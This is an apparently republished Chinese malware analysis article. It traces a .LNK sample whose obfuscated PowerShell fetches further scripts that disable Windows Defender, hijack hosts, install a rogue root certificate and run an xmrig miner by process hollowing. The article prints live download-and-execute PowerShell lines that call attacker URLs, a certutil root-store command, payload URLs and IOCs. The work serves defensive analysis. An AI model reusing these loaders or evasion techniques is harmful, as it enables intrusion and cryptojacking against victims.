前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一个 .net 病毒的分析过程

一个 .net 病毒的分析过程

作者头像
信安之路
发布2018-12-06 15:28:49
1.6K0
发布2018-12-06 15:28:49
举报
文章被收录于专栏:信安之路

本文作者:病毒分析小组全体成员

样本概述

本次样本为 Lnk 文件,内嵌了一个 Powershell 脚本,用于后续的释放和攻击……

md5 为 13d3d78aa4d28311e8e57ca01d34d11f,VT 扫描结果如下:

行为预览

详细分析

对 Lnk 文件使用 010editor 解析并从命令行提取出有效 payload 如下,根据经验判断为 Invoke-Obfuscation 混淆后的代码。

代码语言:javascript
复制
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"-NoPr-WINd1-eXEcByP -jOin('73k69<88Z32~40~78~101m119<45_79P98Z106P101Z99m116@32k83Z121E115P116~101P109l46l78~101Z116l46_87_101m98@67@108k105Z101@110<116P41~46k68m111~119E110m108k111l97Z100k83<116@114_105~110_103P40E39<104m116P116P112l58k47~47m122m118_100P46<117l115m47@49<39l41'.spLIt('<ZPEmk_l@~')|%{([InT]$_-as[cHAr])})|&($sheLLid[1]+$sHelLid[13]+'X')

因为脚本病毒自身的局限性,灵活运用重定向即可反混淆,解密后代码只有一行

代码语言:javascript
复制
IEX (New-ObjectSystem.Net.WebClient).DownloadString('http://zvd.us/1')

访问 http://zvd.us/1 会重定向到 http://qgb.us/view/raw/55f809b0,可见为混淆后的 ps 代码

去除头部 ” &( $VERBOSEpREFeRENCe.tOSTRInG()[1,3]+'X'-JOIn'')”,将脚本输出重定向,解开第一层混淆,发现仍存在混淆,

去除 1.ps1 头部 ” " $(sV 'OFS' '')"+[STrINg]”以及尾部 ” " $(sV 'OFS' '')"+[STrINg]”,继续重定向输出,可见明文脚本,脚本头部代码为弹框提示视频错误从而迷惑受害者

主要功能代码为下载 http://zvd.us/2"$env:temp\tp.bat" 并调用 cmd 执行

代码语言:javascript
复制
$wc=new-object system.net.webclient;$wc.downloadfile("http://zvd.us/2","$env:temp\tp.bat")
UKCgo -BinPath C:\Windows\System32\cmd.exe -Args "/c $env:temp\tp.bat"

http://zvd.us/2 指示去下载 http://zvd.us/3

http://zvd.us/3 重定向到 http://qgb.us/view/raw/a3e7990e,显示为混淆的 ps 代码

解密后发现脚本首先通过注册表操作禁用掉 Windows Dedenfer,SmartScreen 等系统自带的安全功能

之后下载并执行几个文件,下面会逐一分析

脚本中下载链接与实际下载链接对应如下:

代码语言:javascript
复制
"http://tracker.awesomepush.online/5bc63d002c822c0001ff45fd","$env:temp\winstat.exe")
https://s3.amazonaws.com/360ossecure/simple/Alpha/installer.exe

"http://zrkls.pw/geo/geo.php","$env:temp\post2.exe")
http://zrkls.pw/files/svchost.exe

" http://zrkls.pw/p/geoip.php ","$env:temp\post3.exe")
http://zrkls.pw/p/p2.exe

"http://zrkls.pw/geo/geo.php","$env:temp\post2.exe")
http://107.172.196.165:7217/mn.exe
installer.exe 分析

该样本是一个 NSIS 安装包,主要用于网页劫持,用 7-Zip 解压之后,发现存在一个 Bat 脚本文件,pem 证书文件,用于劫持的 Hosts 文件

pem 证书文件如下:

Bat 命令如下:

代码语言:javascript
复制
certutil-addstore"Root"p.pem

将 Hosts 文件与系统的 Hosts 进行替换,内容如下:

NSIS 脚本文件中,将释放出来的 AlphaPassive.msi 添加启动项,用于网页的劫持

在系统中如下

MN.exe 分析

svchost.exe,mn.exe,p2.exe 均为混淆后的 C# 样本,使用 de4dot 即可去混淆,去混淆后发现均为同一种样本,故选取其中一个 mn.exe 分析,使用 dnSpy 打开去混淆后的程序,查看引用,可见存在 System.Configuration.Install,怀疑为利用 C# 自带的 InstallUtil.exe 来加载恶意代码,之后会结合样本解释此技术

当 C# 程序中存在 System.Configuration.Install.Installer 类的派生类时,如果通过 InstallUtil 程序启动,则程序不会从正常的入口点执行,而是从派生类中的 Uninstall 或 Install 类执行,我们在虚拟机中利用 procexp 就可以观察到样本通过 InstallUtil.exe 重新加载自身的行为:

程序正常入口点会调用 Class6.Form0_0.Run() 函数,从而调用 OnCreateMainForm() 函数

OnCreateMainForm() 函数通过 Activator.CreateInstance() 的方式实例化 GForm0,从而调用 GForm0 的构造函数

之后从资源节读取脚本,替换程序路径并执行

作用为通过 installutil.exe 重新启动程序,之后程序将会从 Uninstall 函数开始执行

脚本内容如下:

Uninstall 函数如下:

如果想要调试 Uninstall 函数,可以通过 patch 程序的方法将代码加到入口点,dnSpy 中 patch 程序后需要在文件菜单中选择全部保存才能正常调试

样本从 Uninstall 执行后,会从资源中的图片提取出另一个恶意程序并在内存中执行

执行后,首先进行反虚拟机,反沙箱,反调试操作

之后添加计划任务作为持久化措施

最后通过 process hollowing 的方式在 RegAsm.exe 进程内执行恶意代码,dump 下分析为开源的门罗币矿机 xmrig

github 的地址:

https://github.com/xmrig/xmrig

矿池地址

xmr-us-east1.nanopool.org:14444

钱包地址

428X5bXdQWu1SroTn6vR5nPPoHFDUkntmdppV267SJH2dXw3mMttKGQ8Tt49BPHbt2PXyEKdit5dx499AdkvGMgkUSLCc8j

13 个门罗币……

根据开源威胁情报可见服务器上还存在其他恶意代码。

http[:]//zrkls[.]]pw/http[:]//zrkls[.]pw/azhttp[:]//zrkls[.]pw/az/az[.]exehttp[:]//zrkls[.]pw/az/index[.]phphttp[:]//zrkls[.]pw/files/svchost[.]exehttp[:]//zrkls[.]pw/geo/geo[.]phphttp[:]//zrkls[.]pw/geo/geo[.]php,Patternhttp[:]//zrkls[.]pw/geo/nullhttp[:]//zrkls[.]pw/phttp[:]//zrkls[.]pw/p/geoip[.]phphttp[:]//zrkls[.]pw/p/nullhttp[:]//zrkls[.]pw/p/p2[.]exehttp[:]//zrkls[.]pw/tasks[.]phphttp[:]//zrkls[.]pw/upload/pd[.]exehttp[:]//zrkls[.]pw/upload/smk[.]exehttp[:]//zrkls[.]pw/upload/svchost[.]exehttp[:]//zrkls[.]pw/upload/win2[.]exehttp[:]//zrkls[.]pw/upload/wincircuit[.]exe

IOC

域名:

http[:]//zvd[.]ushttp[:]//qgb[.]ushttp[:]//tracker[.]awesomepush[.]onlinehttps[:]//s3[.]amazonaws[.]comhttp[:]//zrkls[.]pw

主要样本的SHA1:

d16d74d6c97d4704186bfcaa949c0f2f67ef30a28b511650e60229d6da9d6712a08d01514ce374a31d651924cbca82c12b4521cb33af79ef7af857b9

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-11-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 样本概述
  • 行为预览
  • 详细分析
    • installer.exe 分析
      • MN.exe 分析
      • IOC
      相关产品与服务
      高级威胁追溯系统
      腾讯高级威胁追溯系统(Advanced Threat Tracking System,ATTS)由腾讯安全团队构建的高级威胁追溯平台,旨在帮助用户通过该平台进行线索研判,攻击定性和关联分析,追溯威胁源头,有效预测威胁的发生并及时预警。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档